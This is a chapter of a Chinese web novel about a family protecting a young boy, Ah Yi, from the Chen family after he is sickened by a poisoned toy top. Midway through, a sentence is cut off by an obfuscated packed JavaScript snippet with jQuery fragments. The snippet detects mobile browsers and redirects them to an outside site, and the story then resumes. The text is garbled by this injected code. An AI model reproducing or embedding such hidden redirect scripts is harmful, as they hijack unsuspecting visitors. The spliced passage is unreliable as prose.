79.阿屹遭陷害

作品:《青云梯·女子拜相

    昭影挎着竹篮,脚步轻快地走在通往陈家庄的路上。她神情怯懦,眼神却不动声色地观察着沿途和进出庄子的人。


    陈家庄因靠近县城,确实比一般村子显得齐整富裕些,青砖瓦房不少。


    她并未直接打听陈家,而是先在一个村口大树下,摆出几方自己绣的帕子、几个络子,扮作卖绣品的孤女,与几个歇脚的村妇闲聊起来。


    她话不多,但态度温顺,偶尔附和两声,很快便从村妇的闲谈中,捕捉到关于陈家的零碎信息。


    “哎哟,真是造孽啊!陈福全那事儿。”


    “可不是嘛!谁能想到,那柳寡妇带来的儿子,根本不是福全的种!”


    “听说是个叫刘全的无赖,自称是柳寡妇的表哥,找上门来闹,说孩子是他的!两人当初合起伙来,就是看陈福全有点家底,做了个局!”


    “陈福全知道自己戴了绿帽,疼了两年的儿子是别人的野种,当场就气疯了!失手……唉,听说那孩子没了,福全也被县衙抓走了,怕是难逃一死!”


    “陈家为了这事儿,银子都快撒完了,到处托人找关系,想捞儿子出来,可那是人命官司啊!孙老婆子急得头发都白了,现在家里就剩下小儿子福贵和他媳妇,还有那个惹祸的柳寡妇也被关着审呢!”


    “啧啧,真是报应!当初他们怎么对谢慧娘俩的?现在好了,真正的孙子不要,疼个野种,结果家破人亡……”


    昭影听得心头震动,表面却仍是一副怯生生听故事的模样。原来如此!陈福全杀人入狱,陈家面临破家的危机!难怪……


    她又刻意在庄子里转了转,靠近陈家宅院时,能感到一股颓败慌乱的气息,门口还有人在议论“县衙”、“赎银”、“没指望了”之类的话。


    她未再多留,立刻赶往县城。在县衙附近茶馆坐了半晌,果然听到更多细节:陈福全杀子事实清楚,情节恶劣,知县周文清颇为震怒,此案已成铁案,陈福全被问斩的可能性极大。陈家散尽家财上下打点,也对救陈福全已束手无策。


    打探清楚后,昭影趁着暮色匆匆赶回泾川里。


    ————


    谢家堂屋,谢明昭听完昭影的禀报,震惊之余,一切豁然开朗。


    “原来如此!陈福全身陷囹圄,性命难保。陈家此时得知阿屹消息,便如同抓住最后一根救命稻草。抢回阿屹,一来可续陈福全一脉的香火,二来或许还妄图以小姑爱子之心为要挟,谋取钱财,甚至痴心妄想通过阿屹,攀扯上我们谢家,为他们奔走?”


    王氏气得浑身发抖:“无耻!卑鄙!当初是他们不要阿屹,如今遭了报应,还有脸来抢?还想利用我孙子?”


    谢慧更是又气又怕,将阿屹搂得更紧:“他们休想!我的阿屹,跟陈家再无半点关系!”


    秦梅忧心道:“他们如今走投无路,恐怕不会轻易罢休。这次明抢不成,谁知道还会使出什么下作手段?”


    谢明昭沉思片刻,“他们越是狗急跳墙,我们越要冷静。阿屹的安全是第一位。从明日起,阿屹必须时刻有人看护,不得独自外出。作坊那边,也要提醒大家留意生面孔。”


    她看向昭影:“宁姐姐,这几日要辛苦你,暗中多留意陈家庄方向的动静,特别是陈家剩下的人的动向。”


    “是,姑娘。”昭影应下。


    谢蕴沉声道:“我会把家里和作坊的门户看得更紧。夜里我多巡视。”


    谢明昭点头,又对谢慧道:“小姑,您别太担心。陈家如今是秋后的蚂蚱,自身难保。他们若再敢来,我们有理有据,更有里正族老做主。只是明枪易躲,暗箭难防,咱们自己需格外小心,尤其是不能让他们有单独接触阿屹的机会。”


    谢屹虽然听得不太明白全部,但知道那些坏人还想抓自己,小脸绷得紧紧的:“阿姐,我不怕!我跟着宁姐姐学功夫,他们来,我就跑,大声喊人!”


    谢明昭摸摸弟弟的头,心中却丝毫不敢放松。陈家的变故是一场悲剧,但因此将主意打到阿屹身上,却是绝不可容忍的。


    昭影带回的消息让谢家上下都绷紧了弦。原本对陈家的厌恶,如今更多了一层警惕,那是一群走投无路、可能不择手段的人。


    然而,一连数日,风平浪静。陈家庄那边似乎偃旗息鼓,只有零星消息说孙氏病倒,陈福贵四处碰壁,刘氏倒是常在村里抱怨,咒骂柳寡妇害了全家,也抱怨婆婆偏心大房,如今出了事却要他们二房跟着受累。


    就在谢家人以为陈家或许焦头烂额、无暇他顾时,变故以一种意想不到的方式发生了。


    这日午后,谢慧带着阿屹在作坊里。作坊门口来了个货郎,摇着拨浪鼓,吆喝着卖些零碎。货郎看起来普通,挎着个大竹箱。


    几个妇人被吸引过去。货郎做生意的同时,目光在作坊里扫过,尤其在阿屹身上停留了片刻,还夸了句“小哥儿真精神”。


    谢慧只当是寻常客套,出于防备,将阿屹往身边拉了拉。货郎不久便离开。


    当天夜里,阿屹突发高烧,呕吐,说胡话,手腕处出现不明显红点。谢家顿时慌乱。


    “阿屹今日可曾碰过什么特别东西?”谢明昭急问。


    谢慧猛然想起:“下午那货郎给了个彩绘的小陀螺,阿屹玩了好一会儿。”


    陀螺?


    谢明昭仔细检查阿屹症状,越发怀疑是接触了陀螺造成的。


    “宁姐姐,立刻去找那个陀螺!小心!”


    昭影很快用布垫着一个摔坏的彩绘小木陀螺回来,“姑娘,这陀螺上面涂抹的一层油彩,味道不对,像是混合了东西。”


    谢明昭接过,心头怒火升腾。这绝不仅是想让孩子生病那么简单!分量若再重些,或者孩子年幼体弱,后果不堪设想!


    “立刻去请李郎中!宁姐姐,你速去县城仁济堂……”她迅速吩


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17079553|191328||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    咐下去。


    后半夜,昭影带回仁济堂老大夫的诊断:陀螺上很可能涂抹了闹羊花汁液混合少许劣质香料制成的粘料,孩童接触把玩后,通过皮肤和口手摄入,会导致高热、皮疹、呕吐、昏沉,剂量若大或体质敏感,甚至有性命之忧。老大夫开了对症的解毒药剂。


    全家惊魂稍定,熬药喂了下去,阿屹情况稳定下来,沉沉入睡。


    “是谁?孙氏?还是那个刘氏?”谢慧恨声道。


    谢明昭面沉如水,“孙氏如今病倒,且她一心想抢阿屹回去续大儿子一脉的香火,未必会下此毒手,万一剂量控制不好,反而害了阿屹性命,她岂不是鸡飞蛋打?倒是那刘氏……”


    她想起昭影之前打探到的,刘氏有亲生儿子,向来掐尖要强,在陈家便与柳寡妇明争暗斗。


    如今陈福全杀人入狱必死无疑,柳寡妇也自身难保,孙氏又病倒,陈家只剩下陈福贵一房。


    若此时,大房唯一的孩子也出事或病重,那么陈家二房便可顺理成章继承全部家业,她的儿子将成为陈家唯一的孙辈!


    “好一个一石二鸟的毒计!既能除掉阿屹,又能让病中的孙氏和焦头烂额的陈福贵无暇他顾,甚至可能因此更依赖她这个‘能干’的儿媳。那货郎,多半是她找来的!她住在陈家庄,离县城近,认识些三教九流的人也不奇怪。”


    众人听得脊背发凉。没想到刘氏心肠如此歹毒,为了独占家产,竟对年幼的孩童下此黑手!


    “我们这就去告官!告她谋害孩童!”谢蕴怒道。


    “告,自然要告。”谢明昭冷静道,“但眼下证据不足。一个来路不明的货郎,一个被丢弃的陀螺,仁济堂大夫的推断也只能作为参考,难以直接指证刘氏。我们需要更确凿的证据,或者让她自己露出马脚。”


    她沉吟片刻,看向昭影:“宁姐姐,还得辛苦你。明日一早,你再去陈家庄,这次,重点盯着刘氏。看她是否与陌生人有接触,尤其是否心神不宁,或试图处理什么东西。另外,打听一下,陈家庄或附近,近日是否有货郎失踪,或者是否有货郎突然得了笔横财。”


    “是,姑娘。”昭影毫无倦色,立刻应下。


    “那我们呢?就这么等着?”谢慧急道。


    谢明昭开口道:“当然不是。我们也要主动出击。阿屹‘病重’的消息,可以适当放出去。看看陈家庄那边,特别是刘氏,会有什么反应。若是她做贼心虚,定会有所动作。”


    她顿了顿,语气带上一丝严厉:“这次,我们不仅要保护好阿屹,更要让那些躲在暗处、心肠歹毒的人,付出应有的代价!陈家这摊烂泥,是时候彻底清算了。”


    陀螺事件,如同最后一根稻草,彻底压垮了谢明昭对陈家最后一丝“井水不犯河水”的幻想。既然对方已无底线,那么,就必须用最彻底、最合法的方式,将他们伸过来的爪子,连根斩断!


    ————